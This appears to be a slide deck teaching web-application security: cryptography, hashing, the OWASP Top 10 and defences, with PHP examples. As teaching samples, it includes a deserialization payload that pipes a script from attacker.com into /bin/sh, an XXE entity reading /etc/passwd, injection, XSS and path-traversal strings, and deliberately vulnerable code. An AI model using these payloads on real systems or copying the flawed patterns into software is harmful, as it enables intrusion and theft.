Security in
Web-Applications

Agenda

  • General
  • Cryptography
  • OWASP Top 10
  • Howto Prevent
OWASP: Open Web Application Security Project

General

Your system is NOT secure

Every day new 0-Day exploits will be published


Do not implement your own Cryptography!

Cryptography is hard. Hard to design and hard to implement

via knowyourmeme
  • User input is not secure, even for Forms
  • Dont trust your implementations of Methods

Please, close unnecessary Ports

02/2019- Shodan search for MySQL (Port 3306): 5.230.190 Results


and no "blind" default config

09/2017 - "More than 26,000 vulnerable MongoDB databases whacked"

  • MongoDB: Default config allowed access from any host

Use latest Software Versions

  • PHP Nullbyte string termination ?file=myfile%00 Fixed
  • nginx Nullbyte URI Security Bypass CVE-2013-4547

Log attacks

  • Know how many attacks you receive
  • Know which attacks you receive

                    // 8 IPs, > 1000 Requests
                    62.109.30.xxx - - [07/Feb/2019:06:26:50 +0100] "POST /admin/index.php?route=common/login HTTP/1.1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"
                

Cryptography

Symmetric / Asymmetric

Symmetric
  • Use a single defined key
  • is fast
  • AES with Rijndael
Asymmetric
  • Use a public and private key
  • is slower
  • RSA, ECC
  • digital signatures

What should i use?

  1. Encrypt the Message symmetric
  2. Encrypt the Key asymmetric
  3. Sign the Message-Hash
  • AES = Advanced Encryption Standard
  • ECC = Elliptic Curve Cryptography
  • DES = Data Encryption Standard DEPRECATED

RSA (Rivest, Shamir and Adleman)

  • <=1024Bit is not secure

ECC (Eliptic Curve Cryptography)

  • Faster in generating Keys
  • ECC 256 Bit ==Same Security== RSA 3072 Bit

Symmetric / Asymmetric

Insecure encryption modes


                    head -n 4 example-image.ppm > header.txt && tail -n +5 example-image.ppm > body.bin

                    openssl enc -aes-128-cbc -nosalt -pass pass:"SECURE_PASSWORD" -in body.bin -out body.cbc.bin
                    cat header.txt body.cbc.bin > example-image.cbc.ppm

                    openssl enc -aes-128-ecb -nosalt -pass pass:"SECURE_PASSWORD" -in body.bin -out body.ecb.bin
                    cat header.txt body.ecb.bin > example-image.ecb.ppm
                
CBC ECB Original
  • CBC = Cipher Block Chaining Mode | Random IV + Mit dem vorhergehenden Chiffratblock verknüpft.
  • ECB = Electronic Code Book Mode | Gleiche Nachrichtenblöcke werden auch gleich verschlüsselt.

Diffie–Hellman key exchange

  • Exchange keys over insecure connections
  • Not safe against MITM Attacks
    • A signing is required with a previous received key
via Wikimedia

PQC (Post-quantum cryptography)

  • Current asymmetric Crypto is not safe
  • prime decomposition (RSA) and discrete logarithm (ECC) is not a problem anymore
    • Shor Algorithm
  • current stored crypted messages can be unecrypted in the future
  • Primfaktorzerlegung
  • Diskreter Logarithmus
via GIPHY

Requirements of Hash algorithms

  • Low probability of collisions
  • Output should be lower than input
  • Chaos / Avalanche Effect
  • calculation back should be impossible
  • Same data should generate the same hash
  • Should be fast and efficiency
  • Lawineneffekt: Kleine Änderung am Input soll große Auswirkungen haben

Hashing

  • md5('text'); 128 Bit NOT SECURE
  • sha1('text'); 160 Bit, First collison 02/2017
  • hash('SHA512', 'text'); 512 Bit, SHA2
  • hash('SHA3-512', 'text'); 512 Bit, No known Issues
  • md5 ~ 20-30 Minutes to find a collision
  • Prüfnummern generieren
  • Hashing

    Check always of type safety

    
                        var_dump(md5('240610708') == md5('QNKCDZO')); // true
                        $a = 0e462097431906509019562988736854; // double
                        $b = 0e830400451993494058024219903391; // double
                    
    • better hash_equals()
    • or sodium_compare()

    Password

    • save never as plaintext
    • use salt and pepper (with hmac) for hashes
    • use slow hashing methods
    
    $pepperFile = __DIR__ . '/.secret_password_pepper';
    $password = '123456';
    $salt = random_bytes(32);
    if (!file_exists($pepperFile)) {
        file_put_contents($pepperFile, random_bytes(64));
    }
    $pepper = file_get_contents($pepperFile);
    
    $hashed = hash('sha3-512', $salt . $password);
    $hashedHmac = hash_hmac('sha3-512', $hashed, $pepper);
    echo 'Salt: ' . bin2hex($salt) . PHP_EOL;
    echo 'Pepper: ' . bin2hex($pepper) . PHP_EOL;
    echo $hashed . PHP_EOL;
    echo $hashedHmac . PHP_EOL;
    
    // Salt: c76eb9d865300c03e78e2169545ca7d8c3737bb51bd7b9948d993c06e12053ae
    // Pepper: 573c9958b8374cfa5ff857f81484d3108ec5be503d57ed61e9ad54a5b52c4bf17b756bbb8599faa3ded5102708bca79360c1b42aa651b631417ed402905eca67
    // 3493222c96d4552476947f5f4576ae3bb24111d344ea5bb328a077b5614f61e92227a7ad829d8034268353668aae29c980bad74f04294e547727784c3f5922b1
    // 643cf52d5094b481d07a0d72d0bf808609247d8851dee3656f4c42e1adf2620cc87d60022327a872034bbb9b443d4f7b3c1173e12c4546a3cfddfae04cfed63b
    
                    
    • Google is one of the best Rainbowtable
    • hmac = Keyed-Hash Message Authentication Code
    • hmac = hash mit Schlüssel versehen, nicht einfach anhängen wegen entropie

    Password hash

    combines hashing with salt

    
                        // hash
                        password_hash("myPassword", PASSWORD_BCRYPT, ['cost' => 15]); // ~2 seconds
                        $res = '$2y$15$nGhD0QbXdvm5YBIF.OAKFOoVeFyK4AiRTF.rq.WnyFjhPRxiQeetm';
                        $res = '$2y$15$FRNSQUyNbqi1cJ6Qv.zlMuLOsBNuoxMtlOvC16VqTeuTip6Z8PhDa';
                        // for sensitive accounts
                        password_hash("myPassword", PASSWORD_ARGON2ID, [
                            'memory_cost' => PASSWORD_ARGON2_DEFAULT_MEMORY_COST, // 1024 kb
                            'time_cost' => PASSWORD_ARGON2_DEFAULT_TIME_COST, // 2 seconds
                        ]);
    
                        // verify
                        var_dump(password_verify('myPassword', $hash)); // true, ~2 seconds
                        var_dump(password_verify('nyPassword', $hash)); // false, ~2 seconds
    
                        // needs rehash?
                        if (password_needs_rehash($hash, PASSWORD_BCRYPT, ['cost' => 20])) {
                            $newHash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 20]);
                        }
                    
    • No timing attacks possible and Bruteforcing will take forever
    • Read the password hash from the DB and verify in PHP

    Modern Crypto

    • Sodium PHP >= 7.2
      • Extension in PHP >= 7.0
    • PASSWORD_ARGON2I PHP >= 7.2
    • PASSWORD_ARGON2ID PHP >= 7.3
    • NOT mcrypt!

    Sodium

    • A portable, cross-compilable, installable, packageable, API-compatible version of NaCl
    • Support Signatures
    • Support Hashing
    • Secure pseudo-random Numbers
    • NaCl: Networking and Cryptography library
    • No PHPSecLib or any other required

    Example: Sodium

    
                        $password = 'password';
    
                        $hashSodium = sodium_crypto_pwhash_str(
                            $password,
                            SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
                            SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
                        );
    
                        $hashPwHash = password_hash($password, PASSWORD_ARGON2ID); // Requires PHP 7.3+
    
                        sodium_memzero($password); // clears the memory
                        // sodium_crypto_pwhash_str_needs_rehash() needs a rehash?
    
                        assert(sodium_crypto_pwhash_str_verify($hashSodium, $password));
                        assert(password_verify($password, $hashPwHash));
                        assert(sodium_crypto_pwhash_str_verify($hashPwHash, $password));
                        assert(password_verify($password, $hashSodium));
                    

    Side Channel Attacks

    
                        // EXAMPLE! NEVER USE THIS FOR PRODUCTION!
                        function verifyOwnCrypt(string $password, string $validate): bool
                        {
                            $length = strlen($validate);
                            for ($i = 0; $i < $length; $i++) {
                                $char = $validate[$i]; usleep(500); // usleep to prevent bruteforcing
                                $chunk = (string)(ord($char) + 14);
                                if (substr($password, 0, strlen($chunk)) === $chunk) {
                                    $password = substr($password, strlen($chunk));
                                } else {
                                    return false;
                                }
                            }
                            return true;
                        }
    
                        $myPass = '1231359711511312811513094111129129133125128114'; // mySecretPassword
                        verifyOwnCrypt($myPass, 'mySecretPassword'); // true, 0.0092s
                        verifyOwnCrypt($myPass, 'aa'); // false, 0.0006s
                        verifyOwnCrypt($myPass, 'ma'); // false, 0.0012s
    
                        // PHP >= 5.6
                        hash_equals($knownString, $userString)
                        // PHP >= 7.2
                        sodium_compare();
                    
    • Measure the time or power consumption

    OWASP

    OWASP: Open Web Application Security Project

    TOP 10 (2017)

    1. Injection
    2. Broken Authentication
    3. Sensitive Data Exposure
    4. XXE NEW
    5. Broken Access Control
    6. Security Misconfiguration
    7. XXS
    8. Insecure Deserialization
    9. Using Components with known Vulnerabilities NEW
    10. Insufficient Logging & Monitoring NEW

    TOP 10 (2014)

    • 8. CSRF
    • 10. Unvalidated Redirects and Forwards

    Injection (SQL)

    PHP 10 Years ago

    
                        $user = $_POST['user'];
                        $passwordHash = sha1($_POST['password']);
                        $db->query("SELECT * FROM users WHERE username = '$user' AND password_hash = '$passwordHash'");
                        // foo' OR username = 'admin' --
                    

    PHP now with prepared statements

    
                            $user = $_POST['user'];
                            $passwordHash = sha1($_POST['password']);
                            $db->query("SELECT * FROM users WHERE username = :user AND password_hash = :hash", [
                                'user' => $user,
                                'hash' => $passwordHash
                            ]);
                        

    Injection (SQL)

    Prepared Statements and IN

    
                        $_GET['status'] = ['open', 'accepted'];
    
                        // No! Sql injection possible
                        $db->query("SELECT * FROM issues WHERE status IN ('". implode("','", $_GET['status']) ."')");
                        // Not working because the query looks like this: 'IN("open, accepted")'
                        $db->query("SELECT * FROM issues WHERE status IN (:status)", [
                            'status' => implode(',', $_GET['status'])
                        ]);
    
                        // this works
                        $db->query("SELECT * FROM issues WHERE status IN (?,?)", $_GET['status']);
                    
    • Prepared Statements are not working for tablenames or fields

    Injection

    
                        // command injection
                        $content = system('cat ./' . $_GET['file']); // $_GET['file'] = file;ls
                        // code injection
                        eval('$a = ' . $_GET['input'] . ' + 3;'); // $_GET['input'] 5;phpinfo();#
                    
    • create_function
    • preg_match e modifier

    Injection


    via XKCD

    Broken Authentication

    • Bruteforce with dictionary attacks
    • Ineffective credential recovery (Social Engineering)
    • Don't allow weak passwords
      1LoveMyDogAndMyWife!OhAndPHPisCool:) -> very secure password, but that is a other topic

    Prevent

    • Invalidate session, don't expose Session
    • use multi factor authentication
    • bruteforcing - return 200 on a fail / honeypot user, captchas

    Broken Authentication

    via smbc-comics.com

    Sensitive Data Exposure

    • not using HTTPS
    • Allow iterating over User-IDs
    • Unencrypted communication between server

    GDPR / DSGVO

    • Very very expensive!

    Sensitive Data Exposure

    Expose information about registered emails

    • User registration form
      • The E-Mail is already registered
    • Measure the response time
    
                        $allowedUserMail = ['user@domain.tld'];
                        $mySecretKey = sha1('mySuperSecurePassword');
                        if (!in_array($_GET['mail'], $allowedUserMail) {
                            exit('Access denied');
                        }
                        // if we found a correct email, the response time will increase
                        $userHash = sha1($_GET['password']);
                        if ($userHash !== $mySecretKey) {
                            exit('Access denied');
                        }
                    

    XML External Entities (XXE)

    
                        <?xml version="1.0" encoding="ISO-8859-1"?>
                        <!DOCTYPE foo [
                        <!ELEMENT foo ANY >
                        <!ENTITY xxe SYSTEM "file:///etc/passwd">
                        ]><foo>&xxe;</foo>
                    

    Default disabled with libxml2 version >= 2.9.0

    libxml_disable_entity_loader(true);

    Broken Access Control

    Broken Access Control

    • /user/editprofile?userid=1
    • Access Control only for GET Requests but not for POST
    • Authentication process is too late

    Broken Access Control

    
                        class UserController
                        {
                            public function resetPasswordAction()
                            {
                                $this->user->resetPassword();
                            }
                        }
    
                        class UserEventHandler
                        {
                            public function onDispatch()
                            {
                                if (!$this->authenticateUser()) {
                                    throw new ErrorResponseException('Not authorized');
                                }
                            }
                        }
                    
    
                        UserController is called before the UserEventHandler
                        You will not directly see the output and think it's safe
                    
    • In complex code this can happen without seeing it

    Security Misconfiguration

    • MongoDB - default listening on IP 0.0.0.0 =< 2.6.0
    • Directory listing is not disabled
    • Print full exception and error messages
    • PHP open_basedir

    Cross-Site-Scripting (XSS)

    Reflected XSS

    
                        <!-- ?user=<script>alert(/Reflected XSS/)</script> -->
                        Hello: <?php echo $_GET['user']; ?>
                    

    Stored XSS

    • User comments

    DOM XSS

    • Load controllable JS-Library on demand
    • Which dependencies you are using?

    Cross-Site-Scripting (XSS)

    Self XSS

    
                         .d8888b.  888                       888
                        d88P  Y88b 888                       888
                        Y88b.      888                       888    This is a browser feature intended for
                         "Y888b.   888888  .d88b.  88888b.   888    developers. If someone told you to copy-paste
                            "Y88b. 888    d88""88b 888 "88b  888    something here to enable a Facebook feature
                              "888 888    888  888 888  888  Y8P    or "hack" someone's account, it is a
                        Y88b  d88P Y88b.  Y88..88P 888 d88P         scam and will give them access to your
                         "Y8888P"   "Y888  "Y88P"  88888P"   888    Facebook account.
                                                   888
                                                   888
                                                   888
                    

    Insecure Deserialization

    • never (un)serialize user data
      • define 3. parameter with allowed_classes
    • Unserialize a known class and run __destruct
    • Create new SimpleXMLElement with XXE
    • Please, dont serialize data!

    Insecure Deserialization

    
                        class FileHandler
                        {
                            private $temporaryFile = '';
                            public function __destruct()
                            {
                                exec('rm ' . $this->temporaryFile);
                            }
                        }
    
                        $userData = unserialize($_POST['userData']);
                        // a:2:{s:6:"userID";i:1;s:5:"token";s:3:"foo";}
                        // Array ( [userID] => 1, [token] => foo)
                    
    
                        a:3:{s:6:"userID";i:1;s:5:"token";s:3:"foo";s:3:"tmp";O:11:"FileHandler":1:{s:26:"FileHandlertemporaryFile";s:57:"/tmp/file;wget -O- http://attacker.com/shell.sh | /bin/sh";}}
                    

    Insecure Deserialization

    .phar File Meta-File injection

    
                        // create new Phar
                        $phar = new Phar('test.phar');
                        $phar->startBuffering();
                        $phar->addFromString('test.txt', 'text');
                        $phar->setStub('<?php __HALT_COMPILER(); ?>');
    
                        // add object as meta data
                        $object = new FileHandler();
                        $object->temporaryFile = ';shell execution';
                        $phar->setMetadata($object);
                        $phar->stopBuffering();
                    

    Insecure Deserialization

    
                        if (file_exists($_GET['file'])) {}
                        // ?file=phar:///uploads/test.phar
                    
    • The metadata of the phar comment will be unserialized and executed!

    Prevent

    • Set file handler for each file operation function:
    
                            "https", "ftps", "compress.zlib", "php", "file", "glob", "data", "http", "ftp", "phar", "zip"
                        
    
                            file_exists('file://' . $_GET['file']) // safe
                        

    Using Components with known Vulnerabilities

    • Use Composer security-checker
    • Use npm npm audit
    • Update the Software as soon as possible
    • Reduce your dependencies
    • You never now, if a single dependency will be hacked

    Insufficient Logging & Monitoring

    • Log all the things
      • Bruteforce
      • Failed security validations
      • attack rate
    • Push the logs to another system
      • no attacker should be able to delete the logs
    • An Security audit should be visible in the Monitoring system
      • OWASP ZAP
      • DAST and SAST Tools

    Cross Site Request Forgery (CSRF)

    • Attack the user with his Authentication without stealing it
    • Add CSRF-Tokens for all Requests
      • even for POST Requests
      • and for XHR
    
                        POST /user/changeEmail
                        Host: domain.tld
                        Content-Type: application/json
    
                        {"newEmail": "attacker@example.com"}
                    

    Unvalidated Redirects and Forwards

    • Forward a user with a HTTP Redirect to any site
      • Redirect the user to a phishing Site
      Login with Facebook: Popup is a styled div

    Howto Prevent?

    and examples

    Howto Prevent?

    • Don't trust the User
    • Don't trust your Software
    • Never trust your own Crypto
      • Just, don't use your own crypto at all
    • Create a Bugbounty Program (after you have sufficient logging!)
    • DAST and SAST in the Nightly builds
    • DAST = Dynamic application security testing
    • SAST = Static application security testing

    Don't trust your Software

    
                        $email = '"><svg/onload=confirm(1)>"@x.y';
                        if (filter_validate($email, FILTER_EMAIL)) {
                            printf('<a href="mailto:%s">%s</a>', $email, $email);
                        }
                    

    Do whitelisting, no blacklisting

    
                            // prevent path traversals
                            $file = str_replace('../', '', $_GET['file']);
                            echo file_get_contents('./path/to/files/' . $file);
                            // /attack.php?file=..././..././..././index.php
                        

    Don't Hydrate all the data

    
                        class User {
                            private $username;
                            private $email;
    
                            public static function createFromPost(array $postData): self
                            {
                                $user = new self();
                                array_walk($postData, function($value, $key) use ($user) {
                                    $user->{$key} = $value;
                                });
                                return $user;
                            }
                        }
    
                        User::createFromPost([
                            'username' => 'User',
                            'email'    => 'User@domain.tld',
                        ]);
                    
    
                        class User {
                            // [...]
                            private $isAdmin = false;
                        }
                    

    Prevent sensitive leaks in logs

    
                        <?php
                        class DatabaseConnection
                        {
                            private $adapter;
                            public function __construct()
                            {
                                $this->adapter = new class() {
                                    public function login(string $user, string $pass): bool {
                                        return false;
                                    }
                                };
                            }
    
                            public function login(string $username, string $password)
                            {
                                if (!$this->adapter->login($username, $password)) {
                                    throw new \Exception('Login to database failed', 100);
                                }
                            }
                        }
    
                        $connection = new DatabaseConnection();
                        $connection->login('db_user', 'secretpassword');
                    
    
                        ❯ php example.php
                        PHP Fatal error:  Uncaught Exception: Login to database failed in /example.php:17
                        Stack trace:
                        #0 /example.php(23): DatabaseConnection->login('db_user', 'secretpassword')
                        #1 {main}
                          thrown in /example.php on line 8
                    

    Prevent sensitive leaks in logs

    
                        <?php
                        class DatabaseConnection
                        {
                            public function login(HiddenString $username, HiddenString $password)
                            {
                                if (!$this->adapter->login($username->getValue(), $password->getValue())) {
                                    throw new \Exception('Login to database failed', 100);
                                }
                            }
                        }
                        final class HiddenString
                        {
                            private $value;
                            public function __construct(string $input)
                            {
                                $this->value = $input;
                            }
    
                            public function getValue(): string
                            {
                                return $this->value;
                            }
                        }
    
                        $connection = new DatabaseConnection();
                        $connection->login(new HiddenString('db_user'), new HiddenString('secretpassword'));
                    
    
                        ❯ php example.php
                        PHP Fatal error:  Uncaught Exception: Login to database failed in /example.php:7
                        Stack trace:
                        #0 /example.php(26): DatabaseConnection->login(Object(HiddenString), Object(HiddenString))
                        #1 {main}
                          thrown in /example.php on line 7
                    

    Prevent dumps of objects in logs

    
                        <?php
                        final class HiddenString
                        {
                            private $value;
                            public function __construct(string $input)
                            {
                                $this->value = $input;
                            }
    
                            public function getValue(): string
                            {
                                return $this->value;
                            }
    
                            public function __debugInfo(): array
                            {
                                return [
                                    'value' => '****Obfuscated****'
                                ];
                            }
                        }
    
                        $text = new HiddenString('secret');
                        var_dump($text);
                        print_r($text);
                    
    
                        class HiddenString#1 (1) {
                          public $value =>
                          string(18) "****Obfuscated****"
                        }
                        HiddenString Object
                        (
                            [value] => ****Obfuscated****
                        )
                    

    Obfuscating with object

    • Overwrite PHP __debugInfo to prevent Data-Leaks in Logs and Debugger
    • Write a custom HiddenString Class for sensitive Informations as Arguments

    Disable visible errors

    
                        if (hash('sha512', $_GET['user']) === $storedHash) {
                            echo 'Hello User!';
                        }
                        // example.php?user[]=oh&user[]=no
                    

    Warning: hash() expects parameter 2 to be string, array given

    Use stronger Hashes

    
                            // Convert all old hashes with a cost < 20 to the new hash on the fly
                            if (password_needs_rehash($hash, PASSWORD_BCRYPT, ['cost' => 20])) {
                                $newHash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 20]);
                            }
                        

    Use of HTTP-Header

    • Content-Security-Policy
    
                        Content-Security-Policy: default-src https://domain.tld; img-src *; report-uri https://domain.tld/report/csp
                        Content-Security-Policy: script-src 'unsafe-inline';
                    
    
                        // Content-Security-Policy: script-src 'nonce-2726c7f26c';
                        <script nonce="2726c7f26c">
                          var inline = 1;
                        </script>
                    
    • X-Frame-Options – Prevent clickjacking
      • "deny", "sameorigin", "allow-from https://domain.tld/"
    • X-XSS-Protection
      • 1; mode=block

    Use of HTTP-Header

    • Strict-Transport-Security (HSTS) – Prevent MITM Attacks
      • max-age=31536000; includeSubDomains
    • Set-Cookie
      • secure – only over HTTPS
      • httpOnly – not available with document.cookie
    • Referrer-Policy
      • strict-origin
      • <a referrerpolicy="origin"
      • <a rel="noreferrer"

    Combine attacks

    • Use Clickjacking to execute selfXSS to a user
    • Use phar meta file deserialization to run XXE
    • Use CSRF to SQL-Inject a admin page with higher privileges
    • ... much more

    Check out the OWASP Juice Shop

    
                        docker run --rm -p 3000:3000 bkimminich/juice-shop
                    

    Attack yourself

    • DAST with OWASP ZAProxy
    • SAST with phpcs-security-audit
    • nmap – Check your Network
    • sqlmap – Check for SQLi
    • Metasploit Framework
    • ... many many more

    No prevention will be very expensive